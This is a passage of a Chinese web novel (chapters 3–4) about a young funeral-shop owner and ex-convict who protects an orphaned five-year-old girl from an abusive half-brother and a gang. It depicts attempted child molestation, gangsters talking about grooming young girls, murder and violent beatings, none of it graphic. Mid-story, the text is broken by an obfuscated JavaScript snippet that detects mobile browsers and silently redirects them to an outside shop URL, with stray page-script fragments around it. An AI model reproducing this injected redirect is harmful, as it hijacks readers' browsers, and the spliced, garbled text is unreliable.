门前柳树上的知了“吱——————”一声,火烧云将堆放着的石头块倒映出来挺不错的影子。 一个穿着蓬蓬裙,扎着辫子的小姑娘。 蹲在余泽家的门槛上。 “哥哥!” 3. 第 3 章 余泽简直哭笑不得。 他早就发现了,谢珞珞这个丫头,别看长得水嫩水嫩,一戳软软的。 可脾气很倔呐! 加上她还很聪明。 余泽也不可能搬家,福利院来拉一次,她跑回来一次。余泽问谢珞珞他家到底有什么魅力?谢珞珞抓着裙摆,从口袋里掏出来两块用玻璃纸包裹着的甜糖。 “哥哥,给你吃。” 玻璃纸皱皱巴巴,小姑娘新换的衣服也皱皱巴巴。可那双水灵灵的大眼睛啊,映衬着对面的夕阳是那么的美。 余泽叹了口气。 蹲下身,把谢珞珞抱了起来。 就这样,谢珞珞的两头跑生活,在最炎热的酷暑,拉开了帷幕。 余泽也不再着急地赶谢珞珞了,伺候好吃伺候好喝。白天他打电话给福利院,让来领人,傍晚谢珞珞就偷偷从福利院里跑了出来,蹲在余泽家的门口等余泽收工。 福利院为此也感到很苦恼。 毕竟临城水哥,他们惹不起。 但余泽也没说什么,只是给了点儿钱,让福利院的人好生看着点儿谢珞珞,跑出来的时候跟在后面,路上危险。 隋胖不明白水哥为什么不把小丫头直接给收养了。 余泽点燃一支烟,抽的极为缓慢。 “我连法定结婚年龄都没到。” “无血缘关系单身收养,得差四十岁。” “我上哪儿去再长出来那么四十岁?” 隋空:“……” 混了那么久。 他们都忘了。 余泽今年也不过二十一岁。 谢珞珞是个很娇气的小姑娘,这个不吃那个不吃。余泽就给她去买那种很贵的小孩营养辅食,一花就是一大笔钱。 他依旧一大把一大把吃着胃药,从二楼收拾出来一张干净的小床。 晚上两个人就一个在楼上,一个在楼下。 余泽习惯了睡在椅子上。 临城沿海,大夏天又潮湿又热。上下本来有两盏风扇的,余泽见谢珞珞每次都喊热,他便把两个风扇都给挪到了二楼。 夜晚星空照明,就听见破旧的风扇吱吱啦啦,唱着刺耳却又安眠的歌。 这样的日子,持续了一段时间。 到了八月底。 那天晚上,余泽收工很早,他给谢珞珞买了两个很漂亮的头花。小姑娘出身于富贵人家,这些东西早先肯定是瞧不上的。 但是谢珞珞却十分开心,粗糙廉价的绒布,绑出来的头花也让她小脸洋溢出甜甜的笑。 “珞珞,明天就去给福利院的小朋友们看看。”余泽绑着谢珞珞的小骗子,女孩儿头发软软的,摸在手里比丝带还要顺滑。 谢珞珞蹲在凳子上,啃着西瓜,点头嗯嗯嗯。 第二天一早,余泽早早地就去了沿海湾。 今天有个大活要揽。 临走前她特地让成安过来看着谢珞珞,等到福利院的老师来接她,目送她安全上车再离开。成安办事儿一直很靠谱,之前盯着谢珞珞跑余水丧葬安全问题,成安功不可没。 余泽相信成安,所以也没多想。 然而就是看着平静的时候,就是要出事了。 赶海湾庆新村的村支书死了,家里要大办。余泽以前跟村支书的儿子有过交情,儿子上大学,特地从北京赶回来,给父亲办丧。 村支书是病死的,得了食道癌。没出半年便死了。余泽过去的时候,那家人已经给先生收拾好。他家就一个儿子,那个时候都在响应计划生育,农村也只能生一个。村支书的媳妇儿坐在旁边,哭肿了脸。年轻的大学生儿子扶着妈妈,也是写满了悲痛。 “水哥,那我爸,就拜托了。”大学生说道。 余泽叉着腰,站在遗体旁边。他对村支书有些印象,过去那么精壮高大的一个男人,一眨眼就瘦成一团杆,蜷缩在黄色的布料下。 “会给你父亲送的体体面面的。”余泽拍了拍曾经的同窗。 胖子几个人抬着架子就赶了过来,还有装尸体的黑袋子。老爷子的身体有些腐败了,夏天的炎热撺掇,尸体冒着淡淡的腐臭。 最后的叩头结束,老爷子就要上路了。余泽亲自抬身体,老爷子的肩膀软趴趴,还有些脓水往外流。 余泽把村支书放入了裹尸袋,拉上拉链。 身后的村支书夫人忽然号啕大哭起来,喊着“才四十八就走了啊怎么就走了啊”,周围一遭顿时也开始抹眼泪。那大学生噗通跪倒在水泥地上,砰砰给父亲磕了三个响头。 余泽停顿了一下,村支书家里的墙头被推到,铺出来一条土路。用来给老爷子上路。 那大学生趴在地上,悔恨地哭着。 最终余泽还是将村支书的尸首给抬上了面包车。 后备箱门一关。 远方的尘土瞬间变成了黄噗噗的一片,他们家都太悲痛了,都不愿意去火化场。余泽看在那大学生过去是他的同班同学,答应了帮他把骨灰盒给再送回来。 落叶归根,有人要的家,终究不会让亲人孤零零葬在那冰凉的公墓地。 就是在火葬场的时候,余泽突然接到了成安的电话。 成安的嗓音比夏末的知了叫的都还急, “水哥——” “珞珞!珞珞!” “珞珞被焦鹏给掳走了!!!” “……” 焦鹏那小子不学好。 但余泽相信他还没坏到连个孩子都不放过! 可成安也不会撒谎!眼看着福利院的老师也接二连三打过来电话,余泽瞬间就急了。火葬场安静肃穆,余泽只能去外面接电话,外面的天晴朗无比,这里的人却一个个都很难过。 余泽把车钥匙丢给了胖子。 隋空:“哎!哥哥哥——你要干嘛去——” 余泽撂了一辆自行车。 这边火葬场,工作人员跟余泽都熟。 “你去给赵书记家送骨灰盒。” 余泽眯着眼,额头眯起三条缝。 “珞珞丢了!” “……” 胖子:“啊???” 余泽一路骑到了余水丧葬,院子里堆满了看热闹的人,福利院的老师满脸一筹莫展,见到余泽来了,就跟见到了救命星。 “珞珞呢!”余泽一只脚撑着地,自行车车蹬子吱溜吱溜转。 地上还有一只珞珞早上穿着的小皮鞋。 老师捂着胸口,往对面锦水河一指。 “成先生正带着人追了过去——” 余泽脚一甩,骑着车子直接飞去。 锦水河每年都有淹死的人。 余泽能想到的,是焦鹏挟持了珞珞,想要他要钱。 焦鹏才十五岁,十五岁的少年还能坏到哪儿去? 然而余泽还是高估了他这个同母异父的弟弟的作死下限。 等到了锦水河,余泽看到岸边围了一圈人,成安站在最前面,急得火烧火燎。 镇子上派出所的片儿警都出动了,福利院的院长也站在旁边,苦口婆心劝着大喊。 “小伙子,别想不开啊……” 谢珞珞被焦鹏用胳膊肘掐着脖子,两个人站在河岸边。 焦鹏光着膀子,下半身也只穿了一条四角裤。他掐着谢珞珞的肩膀,怎么看那姿势都不是单纯的绑架人。 谢珞珞的小裙子也不见了。 她才五岁!!! 余泽瞬间火冒三丈!是个成年人都能看得出焦鹏想要干什么!他胆儿肥了啊! 烧钱逃学上网吧沿街喝酒就算了,他当哥的欠他的,他给钱! 妈/逼居然连个孩子都要下手! 这一带的片儿警也都认识余泽。余泽一过来,成安喊了声“水哥”,大伙儿就纷纷给余泽让出一条道。 猥亵幼童未遂,但在余泽这个做哥哥的眼里,估计这焦鹏差不多该死了。 焦鹏明显是喝多了,一副醉醺醺态度,见到了余泽,胡口狂言。 “哥……给钱!给钱……” “不给钱,我就、我就……” “插死这丫头……” 周围的警察们镇上的百姓们,纷纷都倒抽了口凉气。 余泽冰冷地眯了眯眼。 谢珞珞此时已经哭花了脸,也吓得完全不知所措,连挣扎都没了。 见到余泽那一刻,原本恐惧的目光中似乎划过一道光,但很快就被淹了下去。她试图动一动,但是胳膊和腿儿上被拧出来的一青一紫的伤,让她失去了行动能力。 余泽这些年来,真的已经很收着了。 他自认为不是什么好人,过去造的那些孽都在一点一点去还清。他已经很少有这么动怒的时候了,就连当年监狱里看管他的狱警,逢年过节走动,都觉得他脾性温和了许多。 他甚至连个纹身都没有,干这一行,有几个不去纹个身?就连隋空那么胖的肉坨,都在看不到锁骨的胸口纹了只老鹰。只有余泽,临城混道上不混道上的人,都怕他。 可他身上干干净净,连个字母都没有。 一如很多年前,那个站在高中军训发言台上,令全校同学仰望的意气风发天之骄子。 然而他终究也不是当年那个闪闪发光的余泽了。 余泽让成安给他找把铁锹过来。 成安瞬间毛骨悚然了。 水哥那眼神,已经不是用“狠”这个字来形容。 但成安还是跑去找了,对面就有一家平房,一般的平房院子外面都会放着几把铁锹或者锄头之类的。 一根粗长的木头棍,下面绑着铁具。 “水哥……” 余泽接了过来,在手中掂量掂量。 手腕下压,明晃晃的大太阳下,能够看到青筋在上面蜿蜒。 在场的所有人,在那一刻——都瞪圆了双眼。 余泽直接走了过去,走到了岸边。 焦鹏还在要钱。 “哥,给钱,给钱……” 那铁锹一下子,“砰——!” 直愣愣砸在了焦鹏的脊梁背上!!! 余泽出手相当狠,半分血缘情分都没保留。 焦鹏当场就趴下了地上。 然而很奇怪的是,他手中的珞珞,却没被伤到丝毫。 谢珞珞直接吓傻了,几乎是瑟瑟发抖。因为她第一次见一个男人能有如此凶残的一面,宛若厉鬼! 下一秒,她便落入一个温暖宽厚的怀抱。 余泽脱了外面的衬衫,蹲下身系在谢珞珞的腰前,他只穿着一件黑色的背心,又重新抱起来珞珞,小姑娘坐在他臂弯间。 男人居高临下看了趴在地上真的被打断脊梁骨的少年。 “……” 焦鹏疼得额头直冒冷汗,哭都哭不出来,趴着趴着便蜷缩了起来。嚎啕大叫,头没办法抬起,往上翻着白眼撕了嗓子地喊道, “余泽——” “我他妈跟你拼了——” 余泽头也不回地转身离开。 身后依旧是焦鹏的咒骂声,一口一个“我要让你不得好死”。余泽充耳不闻,走到人群那会儿,周围人自动给他让出一个圈。 当地派出所的所长,用手帕擦着额头上的冷汗。大夏天的,他的脊背却是一片冰凉。 “水哥啊……这个、那个,这个……” 焦鹏他爹虽然死了,但留下来的势力在临城也非同小可。 不然焦鹏能十五岁就横着走? 余泽用手捂着珞珞的脑袋, 让她不要听这些事情。 “……” “有什么,就都来找我。” “横竖就是再打死了个人,再进去一趟。” “……” 余泽淡淡一笑, “我又不是,没坐过牢。” …… …… …… * 余泽高一就没读了。 白天办的那个丧葬赵书记,他儿子赵来,就是余泽当年高一时的前后位。 赵来他爹后半程的葬礼,都是胖子他们给操办的,办的相当好。花了大丧葬公司一半的钱,却办的顺心顺水,老爷子的衣服一烧,魂归九重天,人这一生也就这么过去了。 胖子他们办事儿向来有保障。 余泽没再回去,就是到最后托人捎了几瓶酒,给过去的同窗。 结果到了晚上,赵来又提着几瓶酒,回来找余泽。 余泽正在二楼哄谢珞珞睡觉,白天小姑娘受到了惊吓,说什么也不肯再离开余泽。福利院的老师们也惊魂未定,焦鹏猥亵未遂是一个,余泽拿着铁锹撸人又是一个。 谢珞珞趴在铺着凉席的床铺上,胳膊上的青紫已经被涂上了红花油。 芭蕉蒲扇一下一下扇着,晚风细细地吹。余泽听到楼下有人敲门,给珞珞盖了盖毛巾被。起身带上二楼的木门,踩着楼梯静悄悄下了楼。 赵来将酒放在了桌子上。 一看根本就不是余泽送给他的那几瓶。 赵来这些年也很有出息,考上了人大,光宗耀祖,在临城算是很有名的了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191419|150745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实大家也才二十出头的年纪。 但仿佛真的恍若隔世。 余泽坐在竹椅上,手指有一搭没一搭摆弄着桌子上放着的抹布。 “你去年出来的?”赵来问。 余泽嗯了一声。 赵来:“现在呢,出来后就一直守着这个丧葬店?” 余泽:“也没地方让我去啊。” 赵来:“那你将来……” 余泽:“走一步,看一步吧。” 赵来:“那今天你突然走,我听说是那谁……” 余泽:“焦鹏。” “焦厚非的那个儿子。” “不学好。” 赵来:“……” “焦厚非”这三个字,余泽说的轻描淡写。 曾经最亲密的同窗, 最崇拜的少年。 如今已是形同陌路人。 才五年的时间, 已经找不到可以说的了。 良久,赵来伸出手,隔着桌子,拍了拍余泽的肩膀。 “要是有什么需求,尽管开口。” “咱高中同学,老师们……都挺想你的。” “同学聚会,也都联系不上你。” 余泽笑了一声, “谁还愿意想起我。” “以后帮忙……算了,也不是什么吉利事儿,别晦气别人了。” 是啊,帮忙照顾生意的话,都说不出口。 赵来也不方便久坐,便起身。途径余泽父亲的遗像,他顿了两步,转过来身。 弯弯腰,算是给余泽父亲做了个礼。 赵来一走,余泽就立马上了二楼。 推开门,发现谢珞珞醒了。 谢珞珞躺在枕头上,睁着圆圆的大眼睛。刚刚下面的话说的声音很小,她应该不会听到。 余泽想问她是不是饿了,还是哪儿不舒服。但看到谢珞珞那双大大的眼睛,白天她惊恐地望着自己的画面又回荡在脑海中。 “……” 算了。 余泽忽然有些不知所措,他想到了刚走的赵来,读了大学去了大城市的同窗。 他这种人啊。 谢珞珞却颤抖着嗓音,声音里虽然有些害怕,但仍旧软绵绵的。 开口道, “哥哥……” “下面来的那个男人,惹到你生气了吗?” 余泽没有回答,却反问谢珞珞。 她难道就不怕自己么? 今天,都发生了那样的事情。 还看到了他,那般凶残地打人。 谢珞珞摇了摇头。 “我不怕。” 余泽:“为什么。” 谢珞珞:“因为,你是好人。” 余泽沉默地看着她。 谢珞珞:“你帮,爸爸妈妈,安葬。” “所以,你是好人。” “……” “……” “……” 已经有很多年。 没人说过,没人把他当成过,好人了。 余泽甚至都有些想笑。 “睡吧。” 他给谢珞珞盖了盖被子。 又拿起芭蕉扇。 小风扇啊扇啊扇。 …… * 翌日。 今天天不好,昨天那么闷热的天,一看就是要下大雨。才早上就已经黑云压城城欲摧,大团大团乌黑的云彩积压在柳树枝上。 余泽给大家放了一天的假,一来是原本说好的卜家庵子养猪那家的九十高龄老爷子要出殡,结果碰上老爷子的家产没分割好,二女儿卷着所有的钱跑了,做大哥的瞬间气炸了,人都给气倒了,反正老爷子的尸体已经停了几天,早就臭了,再臭也就那样。所以索性就给往后推迟了一天。 二来,珞珞还在家里。 福利院暂且没了声,大概是在商议着以后怎么跟余泽继续平衡这种两边养人的计策。余泽昨天那一铁锹,着实又把临城东南沿海这一带给吓着了。 谢珞珞吃着早饭,用芸豆和土豆给下的面条。珞珞依旧不吃胡萝卜,但是小孩不能缺营养。余泽就想了个法子,把面条的面里揉进去胡萝卜泥,给谢珞珞做了胡萝卜面。 余泽没什么本事,但是绣花边还是会一些的,昨天谢珞珞的衣服被扯碎了,小姑娘很喜欢那套花边蓬蓬裙。余泽拆了家里几块旧衣服的布料,给珞珞把裙子边重新缝了缝。 抿针线的功夫,他忽然有感觉到左腹有点儿疼。 余泽伸手拿起来奥美拉唑的瓶子,倒了两颗药片,就着水塞进嘴里。 谢珞珞放下碗, “哥哥,你不舒服吗?” 余泽穿好针,看到她剩出来的胡萝卜面条。 “把面条吃了。” 谢珞珞:“……” 她忽然伸出小手,就按在了余泽的胃部。 余泽一愣,低下头。 感觉到软乎乎的小爪子,那么抓着自己的腰部。 一下,又一下。 “……” 余泽:“听话。” “把面条吃了。” “哥哥胃就不疼了。” 谢珞珞嘟着嘴。 她虽然年纪小。 但也不是什么都听不懂。 余泽笑了笑,这些年已经很少见他笑得这么放松这么温柔了。他折腾好蓬蓬裙,把奥美拉唑的白瓶子按在桌面上,刚要拎着裙子让珞珞穿上看看。 对面院子里关上了的大门。 忽然被人一脚踹开。 门吱呀吱呀摇。 “余水丧葬”四个大字,贴在门面上。 一个穿着旗袍贵妇模样的女子,直愣愣就冲了进来。 余泽看到女人,放下手中的裙子。 站起了身。 谢珞珞第一次在余泽眼睛里看到了一些说不出来的情绪,她伸出手想要抓抓他的衬衣衣摆。 可还没等她抓住他。 那女子就已经站到了他们的桌子面前。 女人忽然扑了上来,手里提着一大张医院拍片的白色塑料袋,将余泽死死抵在身后的水泥墙上。 然后下一秒,就压着余泽的肩膀, 往墙上死里哐当哐当地撞。 奋力尖叫起来, “你怎么不去死!你怎么不去死!你怎么不去死!!!” “余泽,你这个畜牲——!你这个杀人犯——!” “你他妈当初怎么就不死在监狱里啊——!!!” 4. 第 4 章 女人凄厉的声音,响彻在整个余水丧葬。 外面乌云压的很低很低了。 她将那白色的拍片袋子砸在了余泽胸前,里面光滑的片子随即便掉落了出来。上面写着“焦鹏”两个字,拍的片子上骨头基本上错位断裂。 余泽被她摁在墙上,打了那么好些下,其实并不疼,但是就是难受。 街坊邻里听到了吵架,纷纷过来看热闹。 余水丧葬一天到晚都有些儿事。 谢珞珞被吓着了,躲在了旁边的楼梯口。她悄悄露出来一只大大的眼睛,在那黄土飞扬黑云压城的昏暗空间内,她看到那女人又一次举起了拳头。 狠狠砸在余泽的肩膀上。 掉出了眼泪,哭着对他喊。 “你弟弟可咋办啊……” “他的后半生,就被你砸的,再也站不起来了。” “……” “余泽,你为什么就不能学个好啊!” “坐了五年的牢,你为什么就不能学学好啊……” “焦厚非当年被你杀了,你还想把他儿子再给杀了啊……” …… 余泽倚着墙。 秦婉的声音很大。 院子里看热闹的街坊邻里都能听得一清二楚。 他的目光对着门口。 却只看着那即将要倒塌的黑云。 街坊邻里又有几个不知道,他十五岁的时候,就杀了人? 当年那可是闹得轰轰烈烈。 秦婉见余泽没声音,彻底蹲在了地上。 她一只手撑着额头,地上掉落的拍片,眼泪吧嗒吧嗒砸在那透明片子上。 她嘴里,一直不住下地说着, “你这个畜牲……” “畜牲啊……” 外面的风刮的呼呼响,翠绿色的杨树叶子,哗啦哗啦摇曳。 余泽嘴角上有点儿血,秦婉力气不大,但指甲还是尖锐的,她一个官太太,临城曾经教育局副局长的遗孀,就算丈夫死了,后半生也可以是衣食无忧。 太太们都爱留着漂亮又不能干活的尖锐指甲。 余泽倚着墙倚了一会儿。 终于动了一下肩膀。 脸上没有多么的悲伤。 反而从口袋里摸出一根烟,用旁边的打火机给点燃了。 衔在指尖,吸了一口。 对着门框外,吐出白色的烟雾。 “……” “我是个畜牲。” “您不是早就知道了么。” “……妈。” 秦婉抓了把那片子。 余泽笑了一下,挺无奈的,又有些自嘲。 “焦鹏的医药费,要多少钱?” “要是可以,需要我把我爷留下来这房子也给卖了,给鹏鹏出医药费?” “妈你知道,我这也没什么大钱,你要是实在是气,要不我也给你个锄头,你也把我给打残了?” “……” 秦婉瞬间站了起来,手指甲掐着下面的白色塑料袋,就快要把那袋子抠出来十个窟窿。 她其实并不想来要余泽的医药费。 钱这个东西,对于她这种官太太而言,从来都不是解决不了的问题。 但心中的那口恶气。 余泽嘴角挂着笑,笑得那么漫不经心,那么吊儿郎当。他甚至还抬了抬头,脖子拉的很长,分明的下颚线对着他,漆黑狭长的眸子往下垂。 就好似在十分嫌恶地望着她。 秦婉被那眼神给剜了,剜的心脏直疼。 她伸手就是一巴掌。 啪—— 声音清脆。 余泽原本侧着往门口看到脑袋。 瞬间就被打到了另一侧。 额前的头发散落。 终于看不到他那又讥讽又冷漠的眼神。 余泽的烟,咬在嘴角,咬着。 烟灰跟着扑簌簌,往下掉。 “畜牲!”秦婉咬着牙道, “跟你爹一样!都是畜牲!!!” 余泽抬起头来,把头发往两边一撒,嘴角的笑意扩大。 “对,您说的都对。” “我爹是畜牲,我也是畜牲。” “所以当年您高清,您看不起我爹,五岁的时候您就出轨跟那姓焦的大官生了个儿子!” “我当年真该在您卷着我爸治病的钱去给姓焦的铺路升官发财的时候,就一手把您先给弄死啊!我他娘的怎么就想不开先去杀了那姓焦的嘛!您说得对,我是畜牲,我现在就恨不得穿越回五年前,把你们一家三口这群女表子都给杀了!都杀了!” 秦婉哐当推了把木头圆桌,桌边直接撞击在了余泽的小腿骨头上。余泽弯下腰,烟掉落在了地面上。他开始大笑起来,整个院子都是他的笑声。 “不要脸!疯子!!!” 秦婉踩着高跟鞋离开,离去的时候还看了眼挂在门面柜台前余泽父亲的那张遗像。余泽生活虽然简朴,但是父亲的照片,他每天都会拿着抹布给擦的干干净净。 上面都男人,长着一张和余泽一样,轮廓挺拔、眼眸深邃的脸庞。 秦婉吐了口唾沫。又瞧见被她踹翻在地面上的奥美拉唑药瓶子。她抓起那药瓶子,又回过头去,复杂地看了坐在了墙角的余泽。 砰! 那白胖胖的药瓶,连带着里面的药片,全部扬天,砸在余泽的身上。 “你早晚有一天,就跟你父亲一样,得了那几把病,死了!死了!” “死了吧!!!” …… …… …… 药片一颗一颗落了下来。 地面上有灰,还有散落了的面条汤汁。 基本上,是不能吃了。 余泽咬着从地上捡起来的烟,烟头上还有点儿火光。他继续低沉地笑着,烟雾呛到,就捂着嘴咳嗽两声。 继续笑。 秦婉终于走了。 院子里又恢复了平静,只不过屋内店里却成了一片杯盘狼藉。余泽坐在地上,半天都抬不起来头。外面看热闹的邻里见大势已过,也都纷纷离开,扬着手说“散了吧散了散了,没看头了”。 谢珞珞从墙后面,小心翼翼走了出来。 哥哥在笑。 按理说,笑应该是一件很开心的事情。 她能听见那低沉沙哑的嗓音,是在笑着。 可为什么就感觉那么想哭,就像是外面那漆黑一片压着黄天尘土的乌云,快要将人压迫到窒息,呼吸不动了。 “哥哥……” 余泽用手压着胃。 他一生气就会胃疼。 笑了好半天。 声音越来越低。 最终没了声。 垂着头,额前刘海散落着。 一行晶莹的泪水,沿着脸颊。 滑落了下来。 谢珞珞只感觉到了心脏在攥着的疼。 就仿佛,回到了那天,看到爸爸妈妈被白色的床单盖着脸,再也醒不来时的痛。 “哥哥……” 谢珞珞走了过去,余泽悄无声息地哭着,她看到了地上散落了的药片。那些药片哥哥每天都要吃,一日三餐两顿都要吃。 她蹲在地上,用手去捡那些药片。 药片粘在了洒落的汤汁里。 融化开来。 小小的手,捻着那些软趴趴的碎片。 很脏。 坐在对面的余泽,忽然开了口。 “珞珞。” “……” “别捡了。” “脏。” …… …… …… * 余泽胃疼得去楼上缩在床里。 一下午,就那么攥着右侧的腹部。 仿佛只有肉/体上的疼痛,才能够让他短暂忘记那些记忆带来的伤。 傍晚六点,积压了一天的暴风雨,终于突破了云层。 倾泻而下。 当豆子大的大雨敲打着窗户玻璃的时候,余泽才缓缓从半迷糊的状态里醒来。 “珞珞……” 他撇去窗台上的水,使劲儿关了窗户。胃没那么疼了,似乎已经疼麻了。屋里黑暗,却看不到那个小小的身影。 余泽下了楼,大门开着,外面瓢泼的雨在挥洒着,门被风吹得哐当哐当。 透过一丝光,能看到白天还狼藉一片的店面。 已经被收拾好。 甚至那玻璃柜里遗像上被喷的口水,都被人用抹布细细擦干净。小木凳子放在橱柜下,歪了一个角。余泽四处环顾,整整齐齐的家具。 却完全不见谢珞珞人。 “珞珞……珞珞?” “珞珞!” 那一刻,余泽忽然心火在灼烧着。他压着胃,在找遍了那不大的二层楼里里外外,确定了珞珞不在后。 余泽直接踹开门,撑着把伞,冲入了狂风暴雨之中。 * 胖子几家的电话都被打遍了,福利院的电话也响彻不停。余泽把能问到的人都问了个遍,没有一个人见到珞珞到底去哪儿了。 他还报了警,但这么大的雨天,电闪雷鸣,路边上又全都是积水,前面还都是土路。 脚踩下去整只鞋子都灌满了黄泥汤,车开进去轱辘都不好拔出来。派出所的警车缓缓开在大街上,余泽在警察局呆了一会儿,便坐不住了。 他又生气又焦急,但更多的是自责! 谢珞珞抱着一塑料袋的东西,出门时就发现居然下了雨。雨越来越大,她没有带伞,在门口站了一会儿,鼓起勇气,冲入了暴雨中。 锦水镇分为三区,东街南街西街。润和诊所所在的位置在西街,距离余水丧葬隔了三条街的距离。 西街是锦水镇最乱的一条街,特别是到了晚上,这一带当年扫、黑没扫干净。 经常出没H社会,锦水镇的大人几乎不会晚上带孩子来西街逛。 谢珞珞对锦水镇那些掩埋在深处的规矩并不那么清楚。 所以就当她顶着塑料袋跑到了西街巷子油漆桶对面时。 一支刺眼的手电筒,忽然就投向了她的脸前。 赤白色的光,将那瘦弱小小的身影照的惨白惨白,谢珞珞都没看清楚对面来的是什么东西,下一秒,脖子处忽然就被人一把搂住。 “呜——” …… 余泽撑着伞,脚底下都是黄泥。他一路向西,找到了西街西街有些门面店都还没关门,余泽一家家挨着问。 “请问有没有看到一个差不多五岁大大小女孩?”他比划着, “这么高,这么胖,扎着两个长辫子,眼睛很大很灵光光。” “没……”店家摇头。 到了西街润和诊所对面的小卖部,老板娘在玩着斗地主。对面有两个混H社会的小崽子背着门抽烟。余泽过去问老板娘有没有看到珞珞,老板娘直摇头,还问余泽要不要加入打牌。 “开哥今天捡的那只小野猫。”平头小混混抽着烟,道, “开哥这口味,一如既往的恶啊!” 剪着尖角头发的混混哈哈一笑, “正常。” “帮里面流行嫩/女。” “自个儿从小养到大,到时候开起来,更听话儿更顺!” 平头:“要不咱也去撸一个?” “现在城里,好多计划生育一胎女孩儿的,没法生二胎。” “不就把那女孩儿扔锦水河里淹死?” “回头我也去拾一个,然后养着,养到十来岁,啧啧啧……” 尖角:“好主意!有没有那种五六岁的啊,太小了还要奶粉的妈了个鸡儿……就跟今天开哥捡的那个似的。哎不是我说,那姑娘一看就应该是富贵人家娇生惯养,你看那皮肤嫩的,呦呦呦,穿着的那个蓬蓬裙也好看……” 下一秒钟。 尖角头混混的后衣领子,忽然就被人一把拎了起来。 整个人被挤在墙上,脸颊死死压在了那红砖瓦上。 余泽极为凶狠,几乎是用上了全部的力气,混混的肩膀都快要被卸掉。 “你说范开然——掳走了谁!” “……” “水哥!水哥!!!饶命啊!水哥水哥——” “我说我说我说!!!” …… 东南西三条街,每一条街都有自己的组织。 临城就是这样,上面做个表面工作,下面依旧泛滥成灾。当地派出所都跟各大头头深入打交道,有什么事情出了,基本上当地就会给罩起来。 然而东南西三条街之外,还有一个人,就连西街最混的头头,都不敢惹。 余水丧葬的余泽。 那真的是个狠人。 当年连教育局副局长都敢杀!三瓣刀,直接捅进来焦局的心脏里。 手一拧,三片刀刃齐开。 局长眸子一瞪,瞬间毙命。 范开然怎么也没想到,自己撸过来的那小妞居然是余泽的人!锦水镇虽然只是个镇子,但里面灯红酒绿一应俱全。 西街那帮子这会儿正在夜店里嗨。 范开然坐在沙发里,把那可爱的小女孩抱在怀里。旁边一溜小弟们人手一个大美女,大家都在看开哥高兴,开哥一直喜欢小女孩,养成风就是从范开然兴起的。 谢珞珞都快吓傻了,因为这是她第一次来到这种地方。 男人的手粘腻腻,摸着她软嫩嫩的胳膊。 “哥,哥哥……” 范开然:“哟,这么快就叫上哥了?” 谢珞珞:“哥哥,哥哥……” 范开然:“上道!” “跟着哥哥,跟着哥哥好不好?” “哥哥宠你,哥哥爱你?” 谢珞珞看着那漆黑黑的纹身。 “哇——”的一嗓子,哭了出来。 周围的男人都在哈哈大笑,妖娆美女们也都在奉承开哥。开哥一高兴,捞起来话筒就要高歌一曲。 然而就在这时,包厢的门突然开了。 一个穿着小开衣服的服务生,走了过来,在范开然耳朵边低声说了几句。 “哦?” 范开然挑眉。 有女子问, “开哥~怎么了嘛?” 范开然瞬间压下话筒。 把正在哇哇大哭的小姑娘拎了起来。 眯着眼打量了一个圈。 “……” “你是余泽的妞?” 听到“余泽”两个字。 谢珞珞忽然不哭了。 两只大大的眼睛,瞪的老圆老圆。 包厢的门被推开的时候,整个包厢里的人都坐板正了,仿佛要迎接市里来的大领导。 这架势还是头一次,要知道,西街的开哥,可是连东街南街两条街加起来都打不过的。 范开然点着烟,坐在皮沙发上,静悄悄看着对面走过来的男人。 小姑娘被他压在怀里。 谢珞珞见到余泽那一瞬间,一下子就开始拼了命挣扎,蹬着腿,使出了吃奶的力气。 扯着嗓子喊, “哥哥!哥哥——!!!” 余泽什么工具都没带。 就提着一把黑伞。 伞柄向上,插/在地面上。 他浑身湿透了,雨水从他外面套着的白衬衣上往下掉。 勾勒出精壮的身材。 旁边那一溜陪酒女郎。 都看呆了。 她们当然都知道余泽,也知道三街之外的水哥人狠话不多,但是长得特别带劲儿!那可是当年临城中考是状元!天之骄子加上最后的杀人通缉犯! 交叉的身份,让女人骨子里喜欢坏男人的血脉都给觉醒了! 然而面对那么大片美女,余泽却显得完全无动于衷。 他眯着眼,眼睛直勾勾,看着范开然。 范开然很早之前就希望和余泽合作,最好能拉拢他进他手底下,甚至还承诺了江山平分秋色。 余泽一直拒绝了他。 这一次的意外,让范开然看到了笼络余泽的机会,怀中这丫头看样子对于余泽而言,是个很要命的角儿。他觉得要是能谈妥,余泽绝对不会放任这丫头不管。 烟再次续上,范开然缓缓吐着圈,笑了笑, “水哥也喜欢玩养成?” 余泽:“……” 余泽瞥了眼谢珞珞,小丫头就是要朝着他挣扎,然而却被他那剜人的眼神,又给吓了回去。 开哥:“这样,我呢,从来不强人所难。” “丫头可以还给你,并且不问水哥你要钱。” “……” “但有个条件——” “水哥,你同意之前我说的话。” “……” 之前说的话。 余泽闭了闭眼,似乎在忍耐。 “开哥,我余水丧葬,向来待你弟兄不薄。” “以后逢白事丧事,给你打半价。” “之前的条件,我没办法同意你。” 范开然一笑。 拢了拢手,把谢珞珞掐在了怀里。 “那没办法了。” “这姑娘,我也很喜欢啊!” 大手揉着那娇嫩的胳膊。 “啧……你看着小腿儿,多么的软,多么的乖……” 余泽终于点了点头。 正说着,余老板忽然扔了手中的伞,旁边有个做装饰的高尔夫棍子,他瞬间握在手中,掂量都不掂量一下。 哐当——! 往后一砸,直接撂在了身后的玻璃墙上。 那是一整扇的玻璃镜子墙,后面就是水泥板,跟卫生间做隔断。余泽那冷不丁没命一砸,直接将那堵墙都给砸趴下了。 玻璃碴子纷纷嚷嚷,哗啦哗啦从天往下降。旁边一圈人都吓住了,瞬间从沙发上弹跳起来,都往角落里缩去。就连范开然都被吓住了,他着实没想到余泽会直接上手! 就是那一秒钟,谢珞珞从范开然胳膊中挣扎了出来。 她拼了命地爬,不顾安慰,一口气爬到了余泽面前。 两只水汪汪的大眼睛,看着余泽。 余泽把她抱了起来,扛在胳膊上。 高尔夫球杆,指着惊魂未定的西街人。 “范开然。” “刚刚那些话,收回去。” “我就当没听到。” 范开然磨牙, “要是我不当做没说过呢——” 余泽挥胳膊。 手捂住了珞珞的耳朵和眼睛。 棒子哐当一声。 